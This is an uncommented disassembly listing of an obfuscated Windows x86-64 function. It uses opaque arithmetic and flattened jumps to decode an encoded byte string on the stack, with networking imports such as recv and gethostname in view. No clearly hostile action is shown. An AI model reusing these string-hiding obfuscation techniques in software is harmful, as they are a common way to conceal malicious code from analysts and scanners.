jmp 0x1400e5454
sub r10b, 0x56
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400e541b
add r10b, 0x2e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x42
dec rbx
inc rbx
jmp 0x1400e4a82
lea edx, [r10 - 0x7a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
jmp 0x1400e53d3
movzx r10d, bl
lea edx, [r10 - 0x22]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x12
add dl, cl
sub r10b, 0x5a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rsp + rbx + 0x38], cl
inc r9
dec rbx
inc rbx
jmp 0x1400e4a82
lea edx, [rbx - 0x72]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e4a82
movabs rcx, 0x3b80a66c492be0e6
add rcx, rbx
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x4a
movzx r10d, bl
add dl, cl
add r10b, 0x4e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x22
add r10b, r11b
movzx eax, r10b
mov byte [rsp + rbx + 0x38], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400e5496
lea rcx, [rbx + r13]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
sub dl, 0x7e
add dl, cl
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 8
add cl, r11b
mov byte [rsp + rbx + 0x38], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4a82
lea rcx, [rbx + r12]
and dil, cl
mov eax, Ordinal_41
sub al, dil
lea edx, [rax + rax]
add dl, r11b
add dl, cl
movzx eax, byte [rsp + rbx + 0x38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e4a82
add r10b, 0x12
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x7e
jmp 0x1400e4a80
add r10b, 0x3e
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400e4a70
lea rbx, [rbp + 0x163de70]
jmp 0x1400e554d
lea rbx, [rbp + 0x14590da]
jmp 0x1400e554d
lea rbx, [rsp + 0x38]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x90]
call fcn.1400029f0
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x1400e5566
mov rdx, rbx
lea rcx, [rbp + 0x90]
call fcn.140004460
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
xor r8d, r8d
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 8]
call fcn.1400d9830
nop
lea rcx, [rbp + 0x28]
call fcn.1400d37c0
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1400d8e60
or esi, 2
mov dword [rbp - 0x40], esi
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x38]
call fcn.1400d2c30
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xb0]
call fcn.1400ed270
nop
lea rcx, [rbp - 0x38]
call fcn.140058f80
nop
lea rcx, [rbp + 0x28]
call fcn.140058f80
nop
lea rcx, [rbp + 8]
call fcn.140058f80
cmp qword [rbp + 0x138], 0
jne 0x1400e565b
lea rcx, [rbp + 0x158]
call fcn.1400e6420
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x90]
call fcn.140002820
nop
lea rcx, [rbp + 0x70]
call fcn.140002820
nop
mov rcx, r15
call fcn.140002820
xor al, al
jmp 0x1400e626c
mov rdx, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x1400e5668
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0xb0]
call fcn.1400e63e0
call fcn.1400fd020
mov rsi, rax
mov rdx, r15
lea rcx, [rbp + 0x48]
call fcn.140002680
mov r14, rax
mov dword [rsp + 0x60], 0x33ecfecb
mov dword [rsp + 0x64], 0x3de13230
mov dword [rsp + 0x68], 0x3be5da3e
mov dword [rsp + 0x6c], 0xc4cacad6
mov dword [rsp + 0x70], 0x29dcd5d9
mov byte [rsp + 0x74], Ordinal_35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x75], xmm0
mov qword [rbp - 0x7b], rax
mov dword [rbp - 0x73], eax
mov word [rbp - 0x6f], ax
movabs r12, 0xa2c151afd579953
movabs r13, 0x5b8cbdf2e81463eb
movzx r8d, byte [rsp + 0x30]
nop dword [rax + rax]
mov rax, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400e6220
movzx r11d, byte [rsp + rbx + 0x60]
mov edi, r11d
cmp rax, rbx
ja 0x1400e6217
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400e5751
lea rdx, [rbx + r12]
mov rcx, rdx
and rcx, rdi
imul r8, rcx, 0xfffffffffffffffe
add r8, rdx
add r8, rdi
sub r8b, 0x45
jmp 0x1400e578b
je 0x1400e61a3
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400e6175
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400e6137
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400e6117
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400e60d3
movzx r10d, bl
nop
cmp r9, rbx
ja 0x1400e620e
lea rcx, [r9 + 0x80]
cmp rax, rcx
jae 0x1400e57bd
lea edx, [r10 - 0x31]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x57
jmp 0x1400e57f1
lea rdx, [r9 + 1]
cmp rax, rdx
je 0x1400e60bb
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400e6098
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1400e607d
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1400e6052
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400e5d7a
nop
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x1400e5d5b
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400e5d35
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400e5d0e
lea rcx, [r9 + 0x200]
cmp rax, rcx
je 0x1400e5cef
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400e5ccb
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400e5cae
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1400e5c92
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x1400e5c72
lea rdx, [r9 + 0x28]
cmp rax, rdx
je 0x1400e5c43
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x1400e5800
mov rax, rdx
lea r9, [rdx + 0xa]
lea rcx, [r9 + 6]
cmp rdx, rcx
jb 0x1400e61f1
lea rcx, [r9 + 0x2a]
cmp rdx, rcx
jb 0x1400e61d4
lea rcx, [r9 + 0x400]
cmp rdx, rcx
jb 0x1400e59e9
lea rcx, [r9 + 0x40]
cmp rdx, rcx
jb 0x1400e59ce
lea rcx, [r9 + 8]
cmp rdx, rcx
jb 0x1400e59b3
lea rcx, [r9 + 1]
cmp rdx, rcx
jb 0x1400e5bf0
lea rcx, [r9 + 0x1000]
cmp rdx, rcx
jb 0x1400e5ba6
lea rcx, [r9 + 0x42]
cmp rdx, rcx
jb 0x1400e5b63
lea rcx, [r9 + 9]
cmp rdx, rcx
jb 0x1400e5b3e
lea rcx, [r9 + 2]
cmp rdx, rcx
jb 0x1400e5800
lea rax, [r9 + 0x5a]
lea r9, [rax + 0x61]
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x1400e5b0f
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x1400e5aee
lea rcx, [r9 + 0x64]
cmp rax, rcx
ja 0x1400e5ad2
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x1400e5ab1
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x1400e5a91
lea rcx, [r9 + 0x7a]
cmp rax, rcx
ja 0x1400e5a72
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x1400e5a4f
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x1400e5a25
lea rcx, [r9 + 4]
cmp rax, rcx
ja 0x1400e5a06
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x1400e5800
lea rax, [r9 + 0x1000]
lea r9, [rax + 0x200]
jmp 0x1400e5800
lea edx, [r10 + 0x11]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x77
jmp 0x1400e57f1
lea edx, [r10 + 0x6b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x13
jmp 0x1400e5790
sub r10b, 0x3b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x63
jmp 0x1400e5725
lea r8d, [r10 + 0x78]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x48
add r8b, dl
jmp 0x1400e60ed
sub r10b, 0x2e
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_33
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400e5712
add r10b, 0x2c
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x34
dec rbx
inc rbx
jmp 0x1400e5712
lea r8d, [r10 - 0x7a]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_45
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x1400e6151
sub r10b, 0x20
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x20
add rax, r9
jmp 0x1400e618a
add r10b, 0x3a
movzx ecx, r11b
and cl, r10b
mov edx, gethostname
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
jmp 0x1400e618a
lea r8d, [r10 - 0x6c]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0xc
jmp 0x1400e5fe9
sub r10b, 0x12
movzx ecx, r11b
and cl, r10b
mov edx, 0x3f
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
jmp 0x1400e6015
add r10b, 0x48
movzx ecx, r11b
and cl, r10b
mov edx, 4
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
sub r10b, 0x57
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
add r8b, 0x61
mov byte [rsp + rbx + 0x60], r8b
inc rbx
jmp 0x1400e5712
lea r8d, [r10 + 3]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x15
add r8b, dl
cmp r9, 0xa
jb 0x1400e5b56
lea r8d, [r10 + 0x12]
movzx ecx, r11b
and cl, r8b
mov edx, 1
sub dl, cl
add dl, dl
add dl, r11b
add dl, r8b
lea r8d, [rdx + rdx]
jmp 0x1400e60ed
lea r8d, [r10 + 0x5d]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add r8b, 0x75
add r8b, dl
cmp rax, 0x40
jae 0x1400e5fb3
lea rcx, [r9 + 0x10]
cmp rax, rcx
jbe 0x1400e5efd
lea r8d, [r10 - 0x6a]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x1a
jmp 0x1400e5b7a
lea r8d, [r10 - 0x49]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
dec r8b
add r8b, dl
lea rcx, [r9 + rax]
cmp rcx, 0x200
je 0x1400e5fd5
lea rcx, [r9 + 0x42]
cmp rax, rcx
jbe 0x1400e5e23
lea r8d, [r10 - 0x39]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x71
jmp 0x1400e5bbd
sub r10b, 0x26
movzx ecx, r11b
and cl, r10b
mov edx, 5
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
add r10b, 0x34
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx r8d, r11b
sub r8b, cl
sub r8b, 0x6c
add r8b, r10b
jmp 0x1400e6015
lea r8d, [r10 - 0x72]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x1400e5fe9
sub r10b, 0x18
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x58
jmp 0x1400e618a
add r10b, 0x42
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_26
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
add rax, r9
jmp 0x1400e618a
lea r8d, [r10 - 0x64]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x44
add r8b, dl
jmp 0x1400e6151
sub r10b, 0xa
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
dec rbx
inc rbx
jmp 0x1400e5712
add r10b, 0x50
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400e5712
lea r8d, [r10 - 0x56]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x1400e60ed
lea rcx, [r9 + 0x64]
cmp rax, rcx
jae 0x1400e5d9e
lea edx, [r10 + 0x53]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x45
jmp 0x1400e5c09
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400e5dd2
sub r10b, 0x62
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x52
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400e5dfb
add r10b, 0x36
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x7a
add rax, r9
jmp 0x1400e618a
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400e5c09
lea edx, [r10 - 0x24]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 4
jmp 0x1400e6151
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400e5e4b
lea r8d, [r10 + 0x6d]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add r8b, 5
add r8b, dl
jmp 0x1400e60ed
inc rcx
cmp rax, rcx
jne 0x1400e5e76
sub r10b, 0x47
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0xf
dec rbx
inc rbx
jmp 0x1400e5712
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400e5e9c
sub r10b, 0x55
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
add r8b, 0x53
jmp 0x1400e618a
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400e5ec5
sub r10b, 9
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx r8d, r11b
sub r8b, cl
add r8b, 0x3f
add r8b, r10b
jmp 0x1400e6015
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x1400e5bc0
sub r10b, 0x63
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x4b
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400e5f35
add r10b, 0x3c
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
inc rcx
cmp rax, rcx
jne 0x1400e5f5d
sub r10b, 0x1e
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx r8d, r11b
sub r8b, cl
sub r8b, 0x2e
add r8b, r10b
jmp 0x1400e6015
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400e5f7f
lea r8d, [r10 - 0x78]
movzx ecx, r11b
and cl, r8b
mov edx, 0x24
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x1400e5fe9
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1400e5b7d
add r10b, 0x20
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
dec rbx
inc rbx
jmp 0x1400e5712
lea r8d, [r10 - 0x48]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, r11b
sub r8b, 8
add r8b, dl
jmp 0x1400e6151
lea r8d, [r10 + 0x5e]
movzx ecx, r11b
and cl, r8b
mov edx, gethostname
sub dl, cl
add dl, dl
add r8b, dl
sub r10b, 0x4f
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, 0x29
add dl, r10b
movzx ecx, dl
mov byte [rsp + rbx + 0x60], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx + 4]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
sub r11b, 0x1c
add r11b, dl
mov byte [rsp + rbx + 0x60], r11b
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
sub r10b, 0x5b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x7d
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
lea edx, [r10 + 0x67]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x2f
jmp 0x1400e6151
sub r10b, 0x3f
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x47
dec rbx
inc rbx
jmp 0x1400e5712
lea edx, [r10 + 0x75]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x33
jmp 0x1400e60ed
movzx r10d, bl
lea edx, [r10 + 0x29]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1f
add r10b, 0x65
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
add r11b, 0x3d
add r11b, r10b
mov byte [rsp + rbx + 0x60], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400e5712
lea edx, [rbx - 0x23]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0xb
dec rbx
inc rbx
jmp 0x1400e5712
movzx r10d, bl
lea edx, [r10 + 0x37]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x7f
add r10b, 0xb
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x4d
add r11b, r8b
add r11b, r10b
mov byte [rsp + rbx + 0x60], r11b
add rax, r9
jmp 0x1400e618a
lea rcx, [rbx + r13]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
sub r8b, 0x6d
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400e5712
movabs rcx, 0x1e843f50f806cbf9
add rcx, rbx
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
add r8b, 0x31
movzx ecx, byte [rsp + rbx + 0x60]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400e5712
add r10b, 0x1f
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
add r8b, 0x27
jmp 0x1400e5710
add r10b, 0x79
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r8d, [r10 + r11]
sub r8b, 0x4f
jmp 0x1400e5700
lea rdx, [rbp + 0x15b0324]
jmp 0x1400e6225
lea rdx, [rbp + 0x729c77]
jmp 0x1400e6225
lea rdx, [rsp + 0x60]
mov r8, r14
mov rcx, rsi
call fcn.1400ed430
nop
lea rcx, [rbp + 0x158]
call fcn.1400e6420
lea rcx, [rbp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x90]
call fcn.140002820
nop
lea rcx, [rbp + 0x70]
call fcn.140002820
nop
mov rcx, r15
call fcn.140002820
mov al, 1
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14019b1d0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret